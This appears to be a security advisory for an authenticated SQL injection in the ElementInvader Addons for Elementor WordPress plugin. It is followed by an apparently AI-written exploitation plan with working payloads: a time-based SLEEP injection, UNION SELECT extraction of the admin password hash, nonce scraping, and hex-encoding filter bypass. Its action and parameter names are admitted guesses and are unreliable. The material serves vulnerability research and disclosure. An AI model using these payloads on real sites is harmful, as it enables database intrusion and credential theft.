ElementInvader Addons for Elementor <= 1.4.2 - Authenticated (Subscriber+) SQL Injection
Description
The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.4.2Source Code
WordPress.org SVNPatched version not available.
This research plan outlines the steps to identify and exploit an authenticated (Subscriber+) SQL injection vulnerability in the **ElementInvader Addons for Elementor** plugin (versions <= 1.4.2). ## 1. Vulnerability Summary The vulnerability exists in an AJAX handler registered by the plugin that f…
Show full research plan
This research plan outlines the steps to identify and exploit an authenticated (Subscriber+) SQL injection vulnerability in the ElementInvader Addons for Elementor plugin (versions <= 1.4.2).
1. Vulnerability Summary
The vulnerability exists in an AJAX handler registered by the plugin that fails to use $wpdb->prepare() or sufficient escaping when incorporating user-supplied parameters into a SQL query. This allows a Subscriber-level user to inject arbitrary SQL commands, potentially leading to unauthorized data extraction from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Authentication: Required (Subscriber-level or higher)
- Vulnerable Action: Likely an action used for dynamic content loading, such as
ei_get_posts,elementinvader_get_data, or similar (inferred from typical Elementor addon patterns). - Vulnerable Parameter: (Inferred) A parameter used in a
WHEREorORDER BYclause, such aspost_id,category, ororder.
3. Code Flow (Discovery Phase)
The execution agent must first identify the exact sink. Since source files were not provided, use the following grep commands to locate the vulnerable code path:
Identify AJAX Actions:
grep -r "wp_ajax_" wp-content/plugins/elementinvader-addons-for-elementor/
Look for actions that do not have anoprivcounterpart or are accessible to all logged-in users.Locate SQL Sinks:
grep -rn "\$wpdb->get_results" wp-content/plugins/elementinvader-addons-for-elementor/ | grep -v "prepare"
This identifies raw SQL queries. Cross-reference these line numbers with the AJAX handlers found in step 1.Trace Parameter Usage:
If a sink is found in a function calledhandle_dynamic_content, check for$variable = $_POST['param_name']being used directly in the string passed to$wpdb->get_results().
4. Nonce Acquisition Strategy
If the identified AJAX handler calls check_ajax_referer or wp_verify_nonce, the agent must retrieve a valid nonce.
Identify the Localization Key:
Grep forwp_localize_scriptin the plugin directory to find where the nonce is passed to the frontend.grep -r "wp_localize_script" wp-content/plugins/elementinvader-addons-for-elementor/Determine the Script Context:
Identify which shortcode or Elementor widget enqueues the script containing the nonce.grep -r "add_shortcode" wp-content/plugins/elementinvader-addons-for-elementor/Extraction Steps:
- Create Trigger Page: Create a public page containing the identified shortcode:
wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='[SHORTCODE_NAME]' - Navigate & Extract:
- Navigate to the new page using
browser_navigate. - Execute
browser_evalto extract the nonce:browser_eval("window.ei_ajax_object?.nonce")(Replaceei_ajax_objectandnoncewith the actual identifiers found in Step 1).
- Navigate to the new page using
- Create Trigger Page: Create a public page containing the identified shortcode:
5. Exploitation Strategy
Once the action and parameter are identified, use a time-based blind SQL injection to confirm the vulnerability.
Tool:
http_requestPayload (Example):
Assuming the vulnerable parameter ispost_idand the action isei_get_remote_content.POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=ei_get_remote_content&nonce=[NONCE]&post_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)Steps:
- Baseline Request: Measure response time for a normal request.
- Injected Request: Send the
SLEEP(5)payload. A response delay of ~5 seconds confirms the injection. - Data Extraction (UNION-based): If the results are reflected in the response, use
UNION SELECT.- Identify column count:
post_id=1' ORDER BY 1-- -,post_id=1' ORDER BY 2-- -, etc. - Extract admin hash:
post_id=-1' UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- -
- Identify column count:
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Content: Ensure there is at least one post/page for the query to target.
wp post create --post_type=post --post_title="Target Post" --post_status=publish - Plugin Configuration: Activate the plugin.
wp plugin activate elementinvader-addons-for-elementor
7. Expected Results
- Success Indicator (Blind): The HTTP request with the
SLEEP(5)payload takes significantly longer (>5s) than the baseline request. - Success Indicator (Error/Union): The response body contains data from the
wp_userstable (e.g., the$P$...hash of the admin user).
8. Verification Steps
After the HTTP exploit, verify the database state to ensure no accidental damage occurred and to confirm the reachable data:
- Check the admin user's hash via CLI to match against extracted data:
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1" - Review the plugin's registered AJAX actions one last time to confirm the path:
wp eval "global \$wp_filter; print_r(\$wp_filter['wp_ajax_ei_get_remote_content']);"
9. Alternative Approaches
- Boolean-based: If time-based is unstable, check for differences in response length when injecting
AND 1=1vsAND 1=2. - Direct Parameter Manipulation: Check if the injection is possible via
$_GETif$_REQUESTis used in the code instead of$_POST. - WAF Bypass: If quotes are escaped (unlikely given the CVE description), use
CHAR()or hex encoding for strings (e.g.,0x61646d696eforadmin).
Summary
The ElementInvader Addons for Elementor plugin (<= 1.4.2) is vulnerable to authenticated SQL injection due to the failure to properly sanitize user input and use prepared statements within its AJAX handlers. This allows attackers with Subscriber-level access or higher to execute arbitrary SQL commands and extract sensitive data from the WordPress database.
Exploit Outline
The exploit involves authenticating as a Subscriber-level user and identifying an AJAX handler (such as 'ei_get_remote_content') that incorporates user-supplied parameters directly into SQL queries without using $wpdb->prepare(). An attacker first retrieves a necessary AJAX nonce from localized script objects on the frontend, then sends a POST request to /wp-admin/admin-ajax.php. By injecting SQL commands into parameters like 'post_id' (e.g., using time-based payloads like 'AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'), the attacker can confirm the vulnerability and extract database contents.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.